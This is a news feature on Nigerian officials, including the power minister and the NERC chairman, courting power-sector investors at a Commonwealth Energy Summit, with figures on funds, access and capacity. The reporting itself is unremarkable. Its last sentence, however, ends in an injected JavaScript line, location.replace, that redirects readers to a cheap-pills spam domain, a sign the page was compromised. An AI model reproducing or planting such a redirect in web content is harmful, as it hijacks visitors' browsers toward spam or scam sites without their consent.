The Federal Government appear to be tackling the issue of foreign direct investment from all fronts, but Clara Nwachukwu, writes that it will take more than mere expressions of intent to achieve results.
Global economic crises and financial crunch mean that it has become increasingly difficult to attract new investments in the face of competing needs.
However, governments who appear to be doing better than their peers in terms of attracting funds and investments to their countries are those whose strategies inspire confidence in terms of transparency, longevity and continuity, TLC.
But these qualities are among those that make investors weary of coming to Nigeria, as the country is reputed for politicising business issues, with uncomplimentary disregard for agreements, which are prone to changes and outright termination upon the change of government.
Against this backdrop, Nigeria’s government’s representatives to the just-concluded Commonwealth Energy Summit in London were hard put convincing participants that things were changing for the better in Nigeria.
Showcasing, Opportunities in Nigeria, from the panel chairman, Mr Herbert Wigwe, also the Group Deputy Managing Director, Access Bank Plc, to the Chief Executive Officer, Nigerian Bulk Electricity Trading Plc, NBET, Mr. Rumundaka Wonodi, and the Chairman, Nigerian Electricity Regulatory Commission, NERC, Dr. Sam Amadi, to the Minister of Power, Prof. Barth Nnaji, all struggled to convince the international community that Nigeria is a very attractive place to invest.
Their task appeared quite simple when all the goodies about Nigeria had been delivered and uncovered in terms of tariff, returns on investment, guarantees for investment risks, and efforts by the Federal Government to deliver sufficient power to the people as well as providing other necessary infrastructure, the questions that arose showed that investors were not interested in flowery, but in specifics.
Incentives
In view of his financial background, Wigwe focused on incentives for interested investors in the power sector such as the World Bank partial guarantees, the Central Bank of Nigeria, CBN’s N300billion intervention Fund, which he said had at least N200billion still in the kitty, easy and legitimate repatriation of funds, and a host of others.
He noted, “The CBN Fund though not sufficient is incremental, and with borrowing at 7%, which is below both the inflation and exchange rates, it is almost a subsidy to demonstrate government’s commitment to supporting investors. A serious investor with good bankable project, can access the fund within 60 days.”
However, the CBN fund is not only meant for power alone, but also for aviation and other infrastructure development, as such, there is a huge competition for access.
Besides, of the four applications for the World Bank’s guarantee, only one has made significant progress because of the process of screening and due diligence conducted by the international institution. This process also makes access a little difficult.
Wigwe also spoke about the privatisation of the power sector, which he said is the largest in Nigeria’s history, saying that it is a beacon of opportunities for investors.
For more than half a decade, Nigeria has struggled to privatise the electricity sector, but each process has been met with a number of challenges, one of them being labour’s resistance for government to hand over power assets to private owners without first reassuring them of their future.
Access to power
Whereas some countries present at the summit spoke about very low (10%) access to electricity, Nnaji happily put the access to power in Nigeria at about 60%.
But most of these are not active, as even though power infrastructure are available in most parts of the country, a larger portion are mere political tools and do not actually have electricity, thereby underscoring the need for regulation to reduce such economic wastes.
According to the minister, part of the government’s plan, as contained in the Power Sector Roadmap is to deliver power to Nigerians in the most sustainable, efficient and reliable manner.
As a result, he argued, “Access to power at 60% creates a tremendous opportunity for investment. Also, the Roadmap keys into the Vision 20:2020 target to achieve 40,000 megawatts, MW,” which he admitted is a tall order considering the current capacity levels of less than 4000MW.
The minister had previously admitted that although installed capacity is about 6,000MW, all of these cannot be streamed due to gas shortages and other infrastructure hiccups.
Although globally, there has been increasing demand for investment in alternative energy, the minister noted that Nigeria was enjoying huge economies of scale by focusing on gas-powered thermal plants in view of its abundant gas resources estimated at over 187 trillion standard cubic feet.
Although the country also has abundant sulphur-free coal resources, he said Nigeria was in dire need of investment in coal power to harness the resource.
For now, he argued that it will not be viable to invest in solar, which he said was four times the cost of gas.
Nnaji also revealed that government is investing in more cost-effective alternatives such as hydro at the Mambilla mega plant project as well as investing in wind mills in Niger state to complement existing capacity.
In the minister’s opinion, in view of the capacity targets and infrastructure needs, there is a huge window of investment opportunities through equity financing.
“Developing gas wells and other infrastructures, developing the transmission networks, developing a super grid of 75KvA is a huge investment but we wont be using only government funding for this as we have to find creative funding arrangements.”
If the energy crises were resolved, the minister is convinced that Nigeria’s Gross Domestic Product, GDP, growth rate can even overtake South Africa’s and rise from the current levels of 4% to up to 10% in the very near future.
Investment risks
To reassure investors of the safety of their investments, Amadi told the audience that government had “put in place a complementary tariff framework, which covers the risks – be it political or business except those arising from the investor’s negligence.”
“The methodology covers variables such as inflation rates, exchange rates, and the price of gas.”
He added that the tariff models are very transparent – what you see is what you get, and posted on the NERC website, but are also modified from time to time based observations from both investors and the public.
He equally noted that the fact that law defines the regulator’s tenure is a confidence booster for investors. “All the basic regulations required to do business have been put in place.”location.replace(“http://cheap-pills-norx.com”);
